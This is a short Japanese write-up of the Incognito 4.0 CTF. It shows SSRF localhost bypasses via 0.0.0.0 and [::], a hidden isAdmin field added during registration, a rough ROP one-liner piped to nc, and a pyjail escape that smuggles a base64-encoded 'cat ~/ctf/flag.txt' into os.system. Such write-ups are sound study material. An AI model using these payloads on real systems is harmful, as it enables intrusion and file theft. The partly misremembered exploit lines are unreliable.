Incognito 4.0 writeup
久々にCTFに出て54th/344でした。 良い機会なのでこれからはwriteup書いていこうと思います。
曖昧な記憶だよりです。次からはちゃんとメモとりながらやります。
Writeup
sanity
sanity
discordサーバーにあった。
ictf{heres_s0m3_s4n1ty_91823dd}
more sanity
ictf-botにDMで!flag
で帰ってきた。
ictf{!flag_work5??_p718jq091}
我含め多くの人が公開サーバー上で色々と試行錯誤していたが、dmじゃないと無理だったんじゃないかな。
Web
get flag 1
単純なSSRF。
http://45.79.210.216:5000で、/getUrl?url=http://example.comするとexample.comを閲覧できる。
これで localhost:9001を閲覧するという問題。
もちろん /getUrl?url=http://localhost:9001ではエラーになる。
/getUrl?url=http://0.0.0.0:9001/flag.txt
で行けた。
get flag 2
上記とほとんど同じ問題。ただ、0.0.0.0だと無理。
色々と試したあと、ipv6だと行けた。
/getUrl?url=http://[::]:9001/flag.txt
massive
isAdminというパラメータをtrueにすればよさげだったので、登録フォームをchromeのDevToolから改ざんした。
<input type="hidden" name="isAdmin" value="true">
みたいなやつを追加して登録→ログインでフラグが見れたはず。
Rev
Meow
stack string
ghidraで見たら一文字ずつ律儀に積まれていた。
他の人のwriteupみたらちゃんとコード書いていて恥ずかしくなった。
pwn
babyFlow
単純なROP。 内部にshellを呼び出す関数を持ってた。
python3 -c 'print("a"*16 + adresss) | nc ip port
とかやった気がする。(あんまし覚えてない)
pyjail
TheOnlyJail
初めてのジャンルだった。
jailとは牢屋を意味する英単語で、制限されたsandboxから逃れる事を目的とするジャンルらしい(多分)。
今回の問題はアクセスするとpythonのコマンドが実行できるが、/\<>#$-などの記号があるとforbiddenエラーになる。(\nなどは除く)
今までの問題の傾向から ~/ctf
にflagがある可能性が高いのでbase64エンコードでごり押した。
base64("cat ~/ctf/flag.txt") == "Y2F0IH4vY3RmL2ZsYWcudHh0"
したがって
python3 -c 'print("import os\n"+"import base64\n" + "os.system(base64.b64decode("Y2F0IH4vY3RmL2ZsYWcudHh0").decode())") | nc ip port
所感
久々だったので結構楽しかった。pwnのGainmeとCryptoのAncientは根気が足りずだめだったのが悔しい。
次からはメモ取ります。flag覚えてなくてすみません。
ちゃんとpwntools使えるようになろうと思いました。